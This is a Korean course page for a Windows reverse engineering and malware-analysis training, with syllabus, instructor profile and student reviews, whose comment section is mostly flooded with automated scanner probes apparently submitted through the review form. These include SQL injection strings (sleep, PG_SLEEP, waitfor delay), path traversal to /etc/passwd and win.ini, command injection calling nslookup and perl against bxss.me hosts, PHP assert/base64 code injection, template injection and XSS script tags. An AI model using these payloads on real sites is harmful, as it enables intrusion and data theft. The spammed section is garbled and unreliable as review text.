Windows Reverse Engineering
 
강의 요약

    우리가 사용하는 데스크탑 및 노트북 PC는 가장 많은 악성코드와 해킹사건이 일어나고 있는 환경입니다.
    세계의 대기업과 기관들은 자신들을 공격하는 해커들의 공격코드를 분석하기 위해 많은 노력을 기울이고 있습니다.
    본 트레이닝은 Windows용 프로그램을 소스코드 없이 분석하는 방법을 익히는 것을 목적으로 하고 있으며, 이 과정에서
    컴파일러가 생성하는 코드와 Windows 운영체제의 내부 구조를 배우고, 악성코드가 백신 진단을 회피하기 위해 어떻게
    난독화를 하는지, 또한 이를 어떻게 해제하는지 역시 배우게 됩니다.

기본 정보

    • 강의명 : Windows Reverse Engineering
    • 강사 : 강흥수 (jz)
        - GRAYHASH 선임 연구원
        - KITRI BoB 멘토: 취약점분석 트랙 역공학 강의
        - (전) 안랩: 엔진개발팀에서 악성코드의 난독화 분석 및 해제 코드 제작
        - (전) 국방부: APT 공격 분석 및 취약점 분석, 버그헌팅
        - (전) Microsoft: 악성코드 및 APT 분석/추적, Defender 진단코드 등

    • 강의 일정 : 2018년 5월 30일(수) ~ 6월 1일(금)
    • 강의 시간 : 매일 오전 10시~오후 6시 (점심시간, 쉬는시간 포함 하루 8시간)
    • 강의 장소 : 분당구 정자동 Grayhash 트레이닝룸 [위치보기]
    • 수강 정원 : 10명 (최소 인원 5명)
    • 강의 비용 : 2,000,000원 (VAT 별도, 2018년 부로 금액이 상향 조정되었습니다.)
    • 중식 및 다과 제공

주요 교육 내용

    • Reverse Engineering의 개념 및 방법 이해
    • Windows PE 포맷의 이해
    • x86 아키텍쳐 이해
    • 악성코드 분석 실습
    • 난독화 코드 분석 실습

상세 교육 내용

    1일차 - Reverse Engineering Basic

    • Disassembling/Decompiling의 이해
    • 주요 Debugger 소개 (ollydbg/immdbg/windbg/gdb)
    • Hooking/filtering/capturing tools 소개 (Sysinternal suite)
    • x86 architecture의 이해 (Ring0/3, instruction, registers, memory 등)
    • C/ASM 이해 (x86 Assembly, 함수 Stack frame, calling convention 등)
    • ASM으로 함수 만들기 실습
    • C/C++ Compiled codes 분석 (Debug/Release mode, 조건 분기, 루프 코드, Struct/class/OOP 등)
    • Decompling(ASM -> C언어 변환) 실습


    2일차 - Windows Binary Reversing

    • Windows PE 포맷의 이해
    • Windows에서의 process의 이해
    • PE Parser 제작 실습
    • Code Disassembling 기능 추가
    • Game Reverse Engineering 실습
    • 안전한 악성코드 분석 환경 준비
    • 악성코드 및 Exploit 분석 실습
    • DLL/Code Injection의 이해
    • Code Injection tool 제작 실습


    3일차 - Analysing Packer and Obfuscator

    • Packer/Obfuscator의 이해 (Packers, protectors, custom packers)
    • 리버싱을 방해하는 방법들 (anti-debug, anti-analysis)
    • 유용한 Ollydbg Plugin들 소개
    • 악성코드 Unpacking 실습
    • Runtime Code 패치 실습
    • Crackme 제작 및 분석 방해 기법 적용 실습
    • 악성코드가 사용하는 난독화 도구의 목적과 기능 이해
    • 코드 난독화(obfuscation) 분석 실습
    • 상용 Protector 분석 실습

    
    * 상기 교육 내용은 상황에 따라 일부 변동될 수 있습니다.

교재 및 실습 장비 목록

    [교재]
    • 강의 PPT

    [기타]
    • 수료증(certificate) 발급

교육자 준비사항

    • 노트북
    • VM SW(VMWare, Virtualbox)
    • IDA free version
    • Debuggers, PEView, Sysinternal Suite


트레이닝 사진

트레이닝 수강 후기

    * 윤경훈3일동안 열정적인 강의 잘 들었습니다. 잘 따라가지 못했는데 강사님이 친절하게 알려주셔서 많이 배웠습니다.
제 개인적인 생각으로 더 좋아 질수 있는 부분이 있는것 같아 제안드리오니 참조 부탁드립니다.

1. 강의 자료 제본 제공.
- 실습을 하다보면 수강생 별로 서로 다른 진도를 보이다보니 참조하고 싶은 화면이 아닌 다른 화면이 띄워져 있는 경우 제본된 자료가 있으면 쉽게 찾아볼수 있어 좋을것 같습니다. PPT 자료를 제공해주긴 하지만 화면을 왔다갔다하면서 봐야하고 MS Office가 설치되지 않은 사용자는 별도 viewer를 따로 설치해야 하는 번거로움이 있네요.
그리고 해당 강의 slide에서 메모하고 싶은경우에도 유용할 것 같습니다.

2. 각 강의시작전에 오늘 강의(실습)할 내용에 대해 한번 전반적으로 브리핑을 해주시고, 필요한 자료도 한번에 다운받을수 있게 해주시면 더 좋을것 같습니다. 중간중간 자료를 추가로 다운받고 설치하고 이러다보니 조금 어수선한 부분도 있었던것 같습니다.

3. Tool 사용법의 경우 기능에 대해 간단히 정리된 강의 slide가 있고 이를 한번 설명해주시면 강의 내용을 따라가는데 더 좋을것 같습니다. 강의중 설명을 해주시기는 한데 익숙치 않아 까먹는 경우가 많고 이를 다시 물어보기에는 강의 흐름을 깨는것 같아 질문을 못했습니다. 정리된 자료가 있고 그 자료를 기반으로 설명을 해주시면 나중에 까먹더라도 다시 그 강의 slide를 보면 이해가 될것 같습니다.
강의에서 많이 사용하는 OllyDbg나 IDA같은 Tool은 자주 사용하는 기능및 단축키 등에 대해서는 별로 정리가 좋은것 같습니다.

4. 휴식시간이 너무 없어요 ㅠㅠ
    * 강흥수윤경훈님//
피드백 정말 감사드립니다! 잘 이해하시고 따라오시던데요 :) 부족하나마 업무에 많은 도움이 되어드렸으면 좋겠습니다.
1,3// 정말 좋은 아이디어네요. 꼭 반영하겠습니다.
2// 이번 강의가 욕심을 내다보니 다루는 영역이 계획보다 좀 많이 넓어졌습니다. 계획에 없던 APT샘플이나 분석 도구가 강의 준비하며 늘어나는 바람에 자료공유 방식에 서툴렀던 점 죄송합니다 ㅠㅠ
4// 알람을 맞춰야할 것 같습니다. 정신없이 하다보니... ㅋㅋㅋ
3일동안 고생 많으셨습니다!
    * 강유진3일동안 윈도우 리버싱 교육에 대해서 잘 들었습니다. 제가 처음 접해서 조금 따라가기 어려운 면이 없지 않아 있었지만, 강사님이 정말 차분하게 이해할 수 있도록 하나하나 설명해주시고 봐주셔서 좋았습니다.
하나하나 실습을 여쭤보여서 따라가기에 소수 인원이라 더 좋았던 것 같습니다.
제가 조금 더 열정적으로 따라가려고 처음부터 끝까지 집중력을 잃지않고 열심히 들었더라면, 많은 것을 얻어갔을 텐데 오전에 비해서 조금 오후에는 집중력이 떨어졌습니다ㅠ_ㅠ
그래도 정말 물어보는 거에 대해서는 하나하나 열심히 가르쳐주시려는 강사님께 너무 감사하고
정말 돈이 아깝지 않을 정도로 리버싱에 관심이 있으신 분들은 얻어가실 수 있을 것 같습니다.

중간중간에 뒤쳐지고 이해하느라 느려진 면이 없지 않아 있지만,
배운 것이라도 그것을 기억하고 캐치해가면 그것도 충분히 많다고 생각합니다.

수업 내용에 대해서는 충분히 좋았지만,
강사님께서 ~ 이만큼 먼저 해보시고, 자 이부분까지 한번 해보시면 되겠습니다. 하는데..
손을 대기가 어려운 부분이 저에게는 꽤 많았습니다. 리버싱이 처음인 만큼 강사님이 메모리영역 덤프뜨고
프로그램 따라가고 이런 부분이 저는 조금 빨랐다고 생각합니다. 조금 더 천천히 하나하나 설명해주시면서
넘어가면 초보자에게는 더 좋았을 것 같습니다. 그래도 정말 친절한 강사님 덕분에 열심히 물어볼 수 있어서
리버싱에 대해서 많이 배우고 갑니다! 감사합니다!
    * 황병남본 교육 과정 개설을 전반기 언제쯤 하시는지... 알려주십시요~
최소 한달전에 알아야지 예산신청 및 보고를 하여 교육 참석을 할 수 있거든요~
문자로 연락주셔도 됩니다.

010-5080-1293
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqaMtPhH9G
    * JCfUZQsq-1 OR 2+811-811-1=0+0+0+1 --
    * JCfUZQsq-1 OR 2+193-193-1=0+0+0+1
    * JCfUZQsq-1' OR 2+620-620-1=0+0+0+1 --
    * JCfUZQsq-1' OR 2+382-382-1=0+0+0+1 or 'QOtEiqxV'='
    * JCfUZQsq-1" OR 2+290-290-1=0+0+0+1 --
    * JCfUZQsqif(now()=sysdate(),sleep(15),0)
    * JCfUZQsq0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
    * JCfUZQsq0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
    * JCfUZQsq(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
    * JCfUZQsq-1; waitfor delay '0:0:15' --
    * JCfUZQsq-1); waitfor delay '0:0:15' --
    * JCfUZQsq1 waitfor delay '0:0:15' --
    * JCfUZQsqmJaUkmvh'; waitfor delay '0:0:15' --
    * JCfUZQsq-5 OR 879=(SELECT 879 FROM PG_SLEEP(15))--
    * JCfUZQsq-5) OR 970=(SELECT 970 FROM PG_SLEEP(15))--
    * JCfUZQsq-1)) OR 512=(SELECT 512 FROM PG_SLEEP(15))--
    * JCfUZQsqi3jDXuxi' OR 636=(SELECT 636 FROM PG_SLEEP(15))--
    * JCfUZQsqHAUpIN4D') OR 21=(SELECT 21 FROM PG_SLEEP(15))--
    * JCfUZQsqsI4kLQ7Q')) OR 677=(SELECT 677 FROM PG_SLEEP(15))--
    * JCfUZQsq555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
    * JCfUZQsq555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
    * JCfUZQsq1'"
    * JCfUZQsq1%2527%2522
    * JCfUZQsq@@E6KTL
    * JCfUZQsq555
    * JCfUZQsq555
    * 9nIFlFvW555
    * -1 OR 2+185-185-1=0+0+0+1 --555
    * -1 OR 2+190-190-1=0+0+0+1555
    * -1' OR 2+533-533-1=0+0+0+1 --555
    * -1' OR 2+122-122-1=0+0+0+1 or 'cMdV7Qbu'='555
    * -1" OR 2+685-685-1=0+0+0+1 --555
    * if(now()=sysdate(),sleep(15),0)555
    * 0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z555
    * 0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z555
    * (select(0)from(select(sleep(15)))v)/*'+(select(0)f555
    * 1 waitfor delay '0:0:15' --555
    * pSMglHl4'; waitfor delay '0:0:15' --555
    * RDYRXGiu' OR 781=(SELECT 781 FROM PG_SLEEP(15))--555
    * SF6E09VN') OR 10=(SELECT 10 FROM PG_SLEEP(15))--555
    * KkDK9Vnr')) OR 141=(SELECT 141 FROM PG_SLEEP(15))-555
    * JCfUZQsq'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(555
    * 1'"555
    * 1%2527%2522555
    * @@t2wnb555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqvzH2pOsK
    * JCfUZQsq555
    * JCfUZQsq555
    * Jb0PbBQS555
    * JCfUZQsqresponse.write(9537260*9716808)
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq'+response.write(9537260*9716808)+'
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq"+response.write(9537260*9716808)+"
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * response.write(9161569*9204154)555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * '+response.write(9161569*9204154)+'555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * "+response.write(9161569*9204154)+"555
    * JCfUZQsq555
    * JCfUZQsq<esi:include src="http://bxss.me/rpb.pn555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * V25xbXRkSlM=555
    * JCfUZQsq555
    * JCfUZQsq
    * JCfUZQsq${9999482+10000494}
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq12345'"\'\");|]*{
<>''💡
    * ${10000410+9999044}555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq../../../../../../../../../../../../../../etc/passwd
    * JCfUZQsq555
    * JCfUZQsq
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq../../../../../../../../../../../../../../windows/win.ini
    * JCfUZQsq555&n998948=v950065
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq&n939462=v930839555
    * 12345'"\'\");|]*{ <>''💡555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq../555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * ../../../../../../../../../../../../../../etc/pass555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * ../../../../../../../../../../../../../../windows/555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqecho sxmhse$()\ zqahwz\nz^xyu||a #' &echo sxmhse$()\ zqahwz\nz^xyu||a #|" &echo sxmhse$()\ zqahwz\nz^xyu||a #
    * JCfUZQsq555
    * JCfUZQsq)
    * JCfUZQsq555
    * ../JCfUZQsq555
    * JCfUZQsq
    * JCfUZQsq&echo yevwby$()\ urqtbu\nz^xyu||a #' &echo yevwby$()\ urqtbu\nz^xyu||a #|" &echo yevwby$()\ urqtbu\nz^xyu||a #
    * JCfUZQsq555
    * JCfUZQsq!(()&&!|*|*|
    * JCfUZQsq555
    * JCfUZQsq|echo imqhhk$()\ ocwoei\nz^xyu||a #' |echo imqhhk$()\ ocwoei\nz^xyu||a #|" |echo imqhhk$()\ ocwoei\nz^xyu||a #
    * JCfUZQsq'"()
    * JCfUZQsq'.gethostbyname(lc('hithx'.'drfjmaqm8cb16.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(83).chr(99).chr(85).'
    * JCfUZQsq1some_inexistent_file_with_long_name.jpg
    * JCfUZQsq^(#$!@#$)(()))******
    * JCfUZQsq555
    * JCfUZQsq(nslookup hitdlejctgprs1d5e4.bxss.me||perl -e "gethostbyname('hitdlejctgprs1d5e4.bxss.me')")
    * JCfUZQsq".gethostbyname(lc("hitzm"."icyvjkhp4a776.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(84).chr(109).chr(78)."
    * JCfUZQsqHttp://bxss.me/t/fit.txt
    * )555
    * JCfUZQsq555
    * JCfUZQsq$(nslookup hitomzaavvrcm70201.bxss.me||perl -e "gethostbyname('hitomzaavvrcm70201.bxss.me')")
    * '"()555
    * '.gethostbyname(lc('hitar'.'fbtxggev085b1.bxss.me.555
    * !(()&&!|*|*|555
    * JCfUZQsq555
    * JCfUZQsq&(nslookup hitbngslcapyuf3917.bxss.me||perl -e "gethostbyname('hitbngslcapyuf3917.bxss.me')")&'\"`0&(nslookup hitbngslcapyuf3917.bxss.me||perl -e "gethostbyname('hitbngslcapyuf3917.bxss.me')")&`'
    * ".gethostbyname(lc("hithj"."voledyli51627.bxss.me.555
    * JCfUZQsq555
    * JCfUZQsqbxss.me
    * JCfUZQsq555
    * JCfUZQsq|(nslookup hitgjnqribhhz2a7ea.bxss.me||perl -e "gethostbyname('hitgjnqribhhz2a7ea.bxss.me')")
    * JCfUZQsq555
    * JCfUZQsq555
    * ^(#$!@#$)(()))******555
    * http://some-inexistent-website.acu/some_inexistent555
    * JCfUZQsq555
    * JCfUZQsq`(nslookup hitloduquevdc6680a.bxss.me||perl -e "gethostbyname('hitloduquevdc6680a.bxss.me')")`
    * JCfUZQsq555
    * JCfUZQsq555
    * 1some_inexistent_file_with_long_name.jpg555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq;(nslookup hitemwtnhkvoc0159e.bxss.me||perl -e "gethostbyname('hitemwtnhkvoc0159e.bxss.me')")|(nslookup hitemwtnhkvoc0159e.bxss.me||perl -e "gethostbyname('hitemwtnhkvoc0159e.bxss.me')")&(nslookup hitemwtnhkvoc0159e.bxss.me||perl -e "gethostbyname('hitemwtnhkvoc0159e.bxss.me')")
    * JCfUZQsq555
    * Http://bxss.me/t/fit.txt555
    * JCfUZQsq555
    * echo ddposg$()\ bhnmxc\nz^xyu||a #' &echo ddposg$(555
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsq555
    * http://bxss.me/t/fit.txt?.jpg555
    * JCfUZQsq555
    * &echo xbpkvx$()\ zmsxvb\nz^xyu||a #' &echo xbpkvx$555
    * JCfUZQsqHttP://bxss.me/t/xss.html?%00
    * JCfUZQsq"+"A".concat(70-3).concat(22*4).concat(98).concat(81).concat(110).concat(80)+(require"socket"
Socket.gethostbyname("hitaw"+"vwytjusyc09b7.bxss.me.")[3].to_s)+"
    * JCfUZQsq555
    * bxss.me555
    * JCfUZQsq555
    * |echo bymoqx$()\ rlkpbj\nz^xyu||a #' |echo bymoqx$555
    * JCfUZQsqbxss.me/t/xss.html?%00
    * JCfUZQsq'+'A'.concat(70-3).concat(22*4).concat(106).concat(78).concat(116).concat(82)+(require'socket'
Socket.gethostbyname('hitlp'+'wjflcgaycf2b2.bxss.me.')[3].to_s)+'
    * JCfUZQsq555
    * (nslookup hitktunpmtghm14a0d.bxss.me||perl -e "get555
    * JCfUZQsq555
    * JCfUZQsq555
    * HttP://bxss.me/t/xss.html?%00555
    * "+"A".concat(70-3).concat(22*4).concat(103).concat555
    * JCfUZQsq555
    * JCfUZQsq555
    * $(nslookup hittvjgwlkbbb77b43.bxss.me||perl -e "ge555
    * JCfUZQsq555
    * bxss.me/t/xss.html?%00555
    * '+'A'.concat(70-3).concat(22*4).concat(121).concat555
    * JCfUZQsqleave_comment.php
    * JCfUZQsq555
    * &(nslookup hitbszwdebktg711b2.bxss.me||perl -e "ge555
    * JCfUZQsq)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
    * JCfUZQsq555
    * JCfUZQsq555
    * JCfUZQsqleave_comment.php
    * JCfUZQsq;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
    * |(nslookup hitpcinxabkysceb9b.bxss.me||perl -e "ge555
    * ))))))))))))))))))))))))))))))))))))))))))))))))))555
    * JCfUZQsq555
    * JCfUZQsqleave_comment.php/.
    * JCfUZQsq555
    * `(nslookup hitdyilemoczec63a9.bxss.me||perl -e "ge555
    * JCfUZQsq';print(md5(31337));$a='
    * JCfUZQsq555
    * JCfUZQsq/xfs.bxss.me
    * leave_comment.php555
    * JCfUZQsq555
    * ;(nslookup hitbyowskacsq087d0.bxss.me||perl -e "ge555
    * JCfUZQsq";print(md5(31337));$a="
    * JCfUZQsq555
    * /xfs.bxss.me555
    * leave_comment.php555
    * JCfUZQsq555
    * JCfUZQsq${@print(md5(31337))}
    * JCfUZQsq555
    * leave_comment.php/.555
    * JCfUZQsq'"
    * JCfUZQsq${@print(md5(31337))}\
    * JCfUZQsq555
    * JCfUZQsq<!--
    * JCfUZQsq'.print(md5(31337)).'
    * JCfUZQsq555
    * '"555
    * ;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'))555
    * JCfUZQsq555
    * <!--555
    * ';print(md5(31337));$a='555
    * JCfUZQsq555'"()&%<acx><ScRiPt >5c9N(9232)</ScRiPt>
    * ";print(md5(31337));$a="555
    * JCfUZQsq'"()&%<acx><ScRiPt >5c9N(9068)</ScRiPt>
    * ${@print(md5(31337))}555
    * ${@print(md5(31337))}\555
    * JCfUZQsq5559931232
    * '.print(md5(31337)).'555
    * JCfUZQsq'"()&%<acx><ScRiPt >5c9N(9940)555
    * '"()&%<acx><ScRiPt >5c9N(9286)</ScR555
    * JCfUZQsq9876735555
    * JCfUZQsq555
    * 14
  * 작성자:       * 소속:       * 이메일:
   (성함, 혹은 닉네임을 입력해주세요. 입력해주신 정보들 중 작성자와 후기만 공개됩니다.)